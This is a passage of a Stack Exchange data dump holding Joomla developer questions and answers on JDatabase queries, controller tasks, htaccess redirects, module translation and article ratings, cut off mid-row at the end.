  <row Id="10773" PostTypeId="2" ParentId="10771" CreationDate="2015-07-10T10:04:52.990" Score="1" Body="&lt;p&gt;The &lt;code&gt;COM_MEDIA_BASE&lt;/code&gt; and &lt;code&gt;COM_MEDIA_BASEURL&lt;/code&gt; constants are both defined in:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;administrator/components/com_media/media.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On line &lt;strong&gt;42&lt;/strong&gt; and &lt;strong&gt;43&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose you could redefined them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/function.runkit-constant-redefine.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/function.runkit-constant-redefine.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However&lt;/strong&gt;, please be very careful with this if used! Constants are not supposed to be redefined, hence the name. If you do go down this road, it must be redefined back to its original value at the bottom of your function&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-10T10:04:52.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10774" PostTypeId="1" AcceptedAnswerId="10775" CreationDate="2015-07-10T10:36:03.243" Score="2" ViewCount="2153" Body="&lt;p&gt;I would like to create a delete-method, which deletes an entry in a table AND the attached entries in a second table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my source so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        // Delete entry in users_handles&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);            &#xA;&#xA;        $conditions = array(&#xA;            $db-&amp;gt;quoteName('userid') . ' = ' . $db-&amp;gt;quote((int)$userid), &#xA;            $db-&amp;gt;quoteName('type') . ' = ' . $db-&amp;gt;quote($type),&#xA;        );&#xA;&#xA;        $query-&amp;gt;delete($db-&amp;gt;quoteName('#__bestia_users_handles'));&#xA;        $query-&amp;gt;where($conditions);&#xA;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $result = $db-&amp;gt;execute();&#xA;&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);            &#xA;&#xA;        $conditions = array($db-&amp;gt;quoteName('handleid') . ' = ' . GET ID FROM ENTRY THAT HAS BEEN DELETED BEFORE));&#xA;&#xA;        $query-&amp;gt;delete($db-&amp;gt;quoteName('#__bestia_users_handles_mapping'));&#xA;        $query-&amp;gt;where($conditions);&#xA;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $result = $db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-07-12T23:36:46.970" Title="Get ID of deleted database-entry" Tags="|php|joomla-3.4|mysql|jdatabase|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10775" PostTypeId="2" ParentId="10774" CreationDate="2015-07-10T10:59:05.323" Score="0" Body="&lt;p&gt;Here is an example of how your query would work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function delete($userid)&#xA;{&#xA;    // Delete entry in users_handles&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);            &#xA;&#xA;    $conditions = array(&#xA;        $db-&amp;gt;quoteName('userid') . ' = ' . $db-&amp;gt;quote((int)$userid), &#xA;        $db-&amp;gt;quoteName('type') . ' = ' . $db-&amp;gt;quote($type),&#xA;    );&#xA;&#xA;    $query-&amp;gt;delete($db-&amp;gt;quoteName('#__bestia_users_handles'));&#xA;    $query-&amp;gt;where($conditions);&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;&#xA;    $query-&amp;gt;clear();&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true);  &#xA;&#xA;    $conditions = array($db-&amp;gt;quoteName('handleid') . ' = ' . $userid));&#xA;&#xA;    $query-&amp;gt;delete($db-&amp;gt;quoteName('#__bestia_users_handles_mapping'));&#xA;    $query-&amp;gt;where($conditions);&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will see I've used &lt;code&gt;$query-&amp;gt;clear();&lt;/code&gt; which clears the data from the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then simply used &lt;code&gt;$userid&lt;/code&gt; for both queries.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-10T10:59:05.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10776" PostTypeId="1" AcceptedAnswerId="10790" CreationDate="2015-07-10T14:42:31.163" Score="5" ViewCount="531" Body="&lt;p&gt;I would like to extend the (un)publish-function in a sub controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it would be enough to write something like that to my sub controller items.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function unpublish()&#xA;    {&#xA;        echo &quot;Test&quot;;&#xA;        die;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But on unpublishing my items nothing happens. What can I do here?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-07-12T12:36:48.943" Title="Extend publishing in controller?" Tags="|php|joomla-3.4|controller|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10778" PostTypeId="2" ParentId="10584" CreationDate="2015-07-11T00:40:48.160" Score="1" Body="&lt;p&gt;As it turns out, Zoolanders ZooFilter (a paid module) works perfectly for this sort of thing along size Yootheme Zoo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.zoolanders.com/extensions/zoofilter&quot; rel=&quot;nofollow&quot; title=&quot;Zoolanders ZooFilter&quot;&gt;Zoolanders ZooFilter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://yootheme.com/zoo&quot; rel=&quot;nofollow&quot; title=&quot;Yootheme Zoo&quot;&gt;Yootheme Zoo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2015-07-11T00:40:48.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10779" PostTypeId="1" CreationDate="2015-07-11T05:14:07.743" Score="0" ViewCount="737" Body="&lt;p&gt;I move part of my site to subdomain and want that link of that component redirect to subdomain. I want if user come to site with moved component link he will redirect to subdomain.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://domain.com/cat/item&quot; rel=&quot;nofollow&quot;&gt;https://domain.com/cat/item&lt;/a&gt; -&gt; &lt;a href=&quot;https://sub.domain.com/cat/item&quot; rel=&quot;nofollow&quot;&gt;https://sub.domain.com/cat/item&lt;/a&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Need some code in htaccess. Please help with &lt;/p&gt;&#xA;" OwnerUserId="5327" LastActivityDate="2015-08-10T12:43:15.720" Title="Redirect links from main to subdomain" Tags="|joomla-3.x|.htaccess-configuration|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10780" PostTypeId="1" AcceptedAnswerId="10783" CreationDate="2015-07-11T05:23:28.943" Score="2" ViewCount="247" Body="&lt;p&gt;I'm creating an adult website and I'm trying to create a homepage that will ask my viewers if they want to see adult content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More or less something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Are you 18 years old and are you willing to see adult content?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes/No button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any extensions that I can use to create this type of stuff ?&lt;/p&gt;&#xA;" OwnerUserId="5534" LastActivityDate="2015-07-11T14:05:56.957" Title="Create a &quot;Are you older than 18?&quot; home page?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-12T07:44:13.197" ContentLicense="CC BY-SA 3.0" />
  <row Id="10781" PostTypeId="1" CreationDate="2015-07-11T12:31:42.597" Score="3" ViewCount="231" Body="&lt;p&gt;I'm writing a module for Joomla 3.4.3 and having issues with I18N.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My module directory structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+ mod_mymodname&#xA;  + tmpl&#xA;    - default.php&#xA;  + language&#xA;    + de-DE&#xA;      - de-DE.mod_mymodname.ini&#xA;      - de-DE.mod_mymodname.sys.ini&#xA;    + en-GB&#xA;      - en-GB.mod_mymodname.ini&#xA;      - en-GB.mod_mymodname.sys.ini&#xA;  - helper.php&#xA;  - mod_mymodname.php&#xA;  - mod_mymodname.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my &lt;code&gt;mod_mymodname.xml&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension type=&quot;module&quot; version=&quot;3.1.0&quot; client=&quot;site&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;MOD_MYMODNAME_XML_NAME&amp;lt;/name&amp;gt;&#xA;    &amp;lt;description&amp;gt;MOD_MYMODNAME_XML_DESC&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename&amp;gt;mod_mymodname.xml&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename module=&quot;mod_mymodname&quot;&amp;gt;mod_mymodname.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;helper.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;languages folder=&quot;language&quot;&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.mod_mymodname.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.mod_mymodname.sys.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;de-DE&quot;&amp;gt;de-DE/de-DE.mod_mymodname.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;de-DE&quot;&amp;gt;de-DE/de-DE.mod_mymodname.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;                &amp;lt;field name=&quot;myfieldname&quot;&#xA;                       type=&quot;integer&quot;&#xA;                       default=&quot;5&quot;&#xA;                       label=&quot;MOD_MYMODNAME_FIELD_MYFIELDNAME_LABEL&quot;&#xA;                       description=&quot;MOD_MYMODNAME_FIELD_MYFIELDNAME_DESC&quot;&#xA;                       first=&quot;1&quot;&#xA;                       last=&quot;10&quot;&#xA;                       step=&quot;1&quot;/&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my &lt;code&gt;en-GB.mod_mymod.ini&lt;/code&gt; (the &lt;code&gt;.sys.&lt;/code&gt; ones are exactly the same):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOD_MYMODNAME_XML_NAME=&quot;My Module Name&quot;&#xA;MOD_MYMODNAME_XML_DESC=&quot;My Module Name is a sample module for Joomla! 3.x&quot;&#xA;MOD_MYMODNAME_FIELD_MYFIELDNAME_LABEL=&quot;Set a number&quot;&#xA;MOD_MYMODNAME_FIELD_MYFIELDNAME_DESC=&quot;My Module Name wants to have a number from you&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;de-DE&lt;/code&gt; version contains the German strings of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I switch the complete Joomla system to &lt;code&gt;de-DE&lt;/code&gt; (site, administrator, content) the administrative interface of Joomla is in German (as expected). Now I'm install (or even already have installed) my module via the extension installer (zip archive) and open the module settings. My module settings (config fields) are having the &lt;code&gt;en-GB&lt;/code&gt; strings instead of the &lt;code&gt;de-DE&lt;/code&gt; ones. The rest of the interface including the generic module settings are still in German.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did I miss in order to create an I18N compatible Joomla 3.x module?&lt;/p&gt;&#xA;" OwnerUserId="5557" LastEditorUserId="5557" LastEditDate="2015-07-13T10:22:46.493" LastActivityDate="2015-11-10T10:53:32.623" Title="Translated module is always en-GB" Tags="|module|joomla-3.4|language|translation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10782" PostTypeId="2" ParentId="10779" CreationDate="2015-07-11T12:32:21.437" Score="1" Body="&lt;p&gt;You can find many answers searching around. My favorite reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;.htaccess Snippets&lt;/strong&gt;&#xA;&lt;a href=&quot;https://github.com/phanan/htaccess&quot; rel=&quot;nofollow&quot;&gt;https://github.com/phanan/htaccess&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can start with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteCond %{HTTP_HOST} ^example\.com [NC]&#xA;RewriteRule ^(.*)$ http://www.example.com/$1 [L,R=301,NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-07-11T12:32:21.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10783" PostTypeId="2" ParentId="10780" CreationDate="2015-07-11T14:05:56.957" Score="3" Body="&lt;p&gt;There are a couple of extensions in Joomla Extensions Directory that might do what you want - jQuery Content Disclaimer (free), ProAge Check (paid).  I haven't used them but they might be worth a try.&lt;/p&gt;&#xA;" OwnerUserId="5502" LastActivityDate="2015-07-11T14:05:56.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10786" PostTypeId="1" AcceptedAnswerId="10793" CreationDate="2015-07-12T05:48:25.613" Score="1" ViewCount="165" Body="&lt;p&gt;I want to display the article rating number in my template  'com_content/article' override. How can I get the value of rating_sum and rating_count of the opened article?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-07-12T22:59:03.573" Title="How to get currently opened article vote / rating value" Tags="|template-override|com-content|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10787" PostTypeId="2" ParentId="10786" CreationDate="2015-07-12T06:09:15.867" Score="0" Body="&lt;p&gt;No problem found it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$id = $this-&amp;gt;item-&amp;gt;id;&#xA;$sql = 'SELECT rating_sum FROM #__content_rating WHERE content_id='.$id;&#xA;$db-&amp;gt;setQuery($sql) ;&#xA;$rating = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2015-07-12T06:15:14.187" LastActivityDate="2015-07-12T06:15:14.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10788" PostTypeId="1" AcceptedAnswerId="10804" CreationDate="2015-07-12T07:12:31.013" Score="1" ViewCount="281" Body="&lt;p&gt;I want to display the Content Vote form in a specific position of my joomla article, so I can't use the Content - Vote standard plugin because it's set to be displayed before the article body (I need something more flexible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I decided to take the form code from the Content - vote plugin and put them in my template com_content/article override . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $uri = JUri::getInstance();&#xA;$uri-&amp;gt;setQuery($uri-&amp;gt;getQuery() . '&amp;amp;hitcount=0');?&amp;gt;&#xA;&#xA;&amp;lt;form method=&quot;post&quot; action=&quot;&amp;lt;?php echo htmlspecialchars($uri-&amp;gt;toString()); ?&amp;gt;&quot; class=&quot;form-inline&quot;&amp;gt;&#xA;    &amp;lt;select name=&quot;user_rating&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot;&amp;gt;Vote 1&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;2&quot;&amp;gt;Vote 2&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;3&quot;&amp;gt;Vote 3&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;4&quot;&amp;gt;Vote 4&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;5&quot; selected=&quot;selected&quot;&amp;gt;Vote 5&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;input class=&quot;btn btn-primary&quot; type=&quot;submit&quot; name=&quot;submit_vote&quot; value=&quot;Vote Now&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;article.vote&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;hitcount&quot; value=&quot;0&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;url&quot; value=&quot;&amp;lt;?php echo htmlspecialchars($uri-&amp;gt;toString()); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_('form.token') ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above is working good but my question, is it a good practice to embed that form directly to com_content override? Or do you have any other solution for a flexible Content - Vote function position for my article? Thanks&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-07-13T15:53:26.233" Title="Displaying Content - Vote form in com_content template overriding" Tags="|template-override|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10790" PostTypeId="2" ParentId="10776" CreationDate="2015-07-12T12:36:48.943" Score="4" Body="&lt;p&gt;Take a look at &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/legacy/controller/admin.php&quot; rel=&quot;nofollow&quot;&gt;JControllerAdmin&lt;/a&gt; what is used to extend your controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;__construct&lt;/code&gt; function on &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/legacy/controller/admin.php#L62&quot; rel=&quot;nofollow&quot;&gt;line 62&lt;/a&gt; &lt;code&gt;unpublish&lt;/code&gt; is set to use &lt;code&gt;publish&lt;/code&gt; function. So there is no function like &lt;code&gt;unpublish&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in &lt;code&gt;publish&lt;/code&gt; function you can get task name with &lt;code&gt;$task = $this-&amp;gt;getTask();&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible values are &lt;code&gt;publish&lt;/code&gt;, &lt;code&gt;unpublish&lt;/code&gt;, &lt;code&gt;archive&lt;/code&gt;, &lt;code&gt;trash&lt;/code&gt; and &lt;code&gt;report&lt;/code&gt;. So you can compare, if it is &lt;code&gt;publish&lt;/code&gt; or &lt;code&gt;unpublish&lt;/code&gt; and make actions based on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your function could look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function publish()&#xA;{&#xA;    $task = $this-&amp;gt;getTask();&#xA;&#xA;    // Do your custom actions&#xA;    if($task == 'unpublish'){&#xA;        // Do something on unpublishing item(s)&#xA;    }else if($task == 'publish'){&#xA;        // Do something on publishing item(s)&#xA;    }&#xA;&#xA;    // Call parent function, so item(s) will get published/unpublished like they are used to&#xA;    parent::publish();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-07-12T12:36:48.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10791" PostTypeId="1" AcceptedAnswerId="10792" CreationDate="2015-07-12T21:31:43.133" Score="4" ViewCount="3881" Body="&lt;p&gt;With the existing output I have from a basic query, what would be the best way to get the names of the columns in the resultant output object without having to run an additional COLUMNS query on the database - in order to save database calls?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('*');&#xA;    $query-&amp;gt;from('#__table');&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $results = $db-&amp;gt;loadObjectList();&#xA;&#xA;    ----&#xA;&#xA;    foreach($results as $key=&amp;gt;$value)&#xA;    {&#xA;       echo $key;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It returns an object, but none of my attempts to get the key from key =&gt; value seem to be working, even with a foreach loop. I don't want to run extra queries just to get my keys. How would I do this with the existing output from $results?&lt;/p&gt;&#xA;" OwnerUserId="3840" LastActivityDate="2018-05-28T15:39:18.877" Title="How can I get the names of the columns in an object or table with Joomla's SQL?" Tags="|database|jdatabase|sql|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10792" PostTypeId="2" ParentId="10791" CreationDate="2015-07-12T22:51:18.093" Score="8" Body="&lt;p&gt;Your &lt;code&gt;foreach&lt;/code&gt; will result in situation where $key is array key and $value is one row from database. If you want to get column names from result just use &lt;a href=&quot;http://php.net/manual/en/function.get-object-vars.php&quot;&gt;get_object_vars&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('*');&#xA;$query-&amp;gt;from('#__table');&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&#xA;// this will return array of object properties&#xA;// in format: array('column1'=&amp;gt;'content1','column2'=&amp;gt;'content2')&#xA;$properties = get_object_vars($results[0]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also just ask for array of arrays instead of array of objects. Its made like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('*');&#xA;$query-&amp;gt;from('#__table');&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadAssocList();&#xA;&#xA;// this will return array of column names properties&#xA;// in format: array('column1','column2')&#xA;$columns = array_keys($results[0]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-07-12T22:51:18.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10793" PostTypeId="2" ParentId="10786" CreationDate="2015-07-12T22:59:03.573" Score="2" Body="&lt;p&gt;Please avoid pushing pure queries. Do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;&#xA;    select('rating_sum')-&amp;gt;&#xA;    from('#__content_rating')-&amp;gt;&#xA;    where('content_id='.(int)$this-&amp;gt;item-&amp;gt;id);&#xA;$db-&amp;gt;setQuery($query) ;&#xA;$rating = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will make your code more portable.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-07-12T22:59:03.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10794" PostTypeId="2" ParentId="10781" CreationDate="2015-07-12T23:12:24.593" Score="2" Body="&lt;p&gt;I'm not sure but your module definition/installation file should look more like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension type=&quot;module&quot; version=&quot;3.1.0&quot; client=&quot;site&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;mod_mymodname&amp;lt;/name&amp;gt;&#xA;    &amp;lt;description&amp;gt;MOD_MYMODNAME_XML_DESC&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;filename module=&quot;mod_mymodname&quot;&amp;gt;mod_mymodname.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;mod_mymodname.xml&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;languages folder=&quot;language&quot;&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.mod_mymodname.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.mod_mymodname.sys.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;de-DE&quot;&amp;gt;de-DE/de-DE.mod_mymodname.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;de-DE&quot;&amp;gt;de-DE/de-DE.mod_mymodname.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;                &amp;lt;field name=&quot;myfieldname&quot;&#xA;                       type=&quot;integer&quot;&#xA;                       default=&quot;5&quot;&#xA;                       label=&quot;MOD_MYMODNAME_FIELD_MYFIELDNAME_LABEL&quot;&#xA;                       description=&quot;MOD_MYMODNAME_FIELD_MYFIELDNAME_DESC&quot;&#xA;                       first=&quot;1&quot;&#xA;                       last=&quot;10&quot;&#xA;                       step=&quot;1&quot;/&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here you can find full tutorial:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Introduction&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_simple_module/Introduction&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-07-12T23:12:24.593" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10795" PostTypeId="2" ParentId="10774" CreationDate="2015-07-12T23:36:46.970" Score="1" Body="&lt;p&gt;I assume you use MySQL and InnoDB. It would be faster, easier and resource/speed efficient to use MySQL &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.6/en/glossary.html#glos_foreign_key_constraint&quot; rel=&quot;nofollow noreferrer&quot;&gt;FOREIGN KEY constraint&lt;/a&gt; and add CASCADE in ON DELETE in &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.6/en/create-table-foreign-keys.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;foreign key definition&lt;/a&gt;. In short it will drop all child table rows that has reference to parent table rows that are deleted. This also don't require any changes in model file. You delete only parent table rows (as model usually do) and database system do the rest. If you use &lt;a href=&quot;http://dev.mysql.com/doc/index-gui.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;MySQL Workbench&lt;/a&gt; to construct your database here you can find a place where you can make this work:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GGT06.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Useful links:&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sitepoint.com/mysql-foreign-keys-quicker-database-development/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MySQL foreign keys explanation&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.mysql.com/products/workbench/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MySQL Workbench website&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://dba.stackexchange.com/questions/44956/good-explanation-of-cascade-on-delete-update-behavior&quot;&gt;Good explanation on MySQL ON UPDATE/ON DELETE&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/6720050/foreign-key-constraints-when-to-use-on-update-and-on-delete&quot;&gt;Another good explanation on MySQL ON UPDATE/ON DELETE&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" 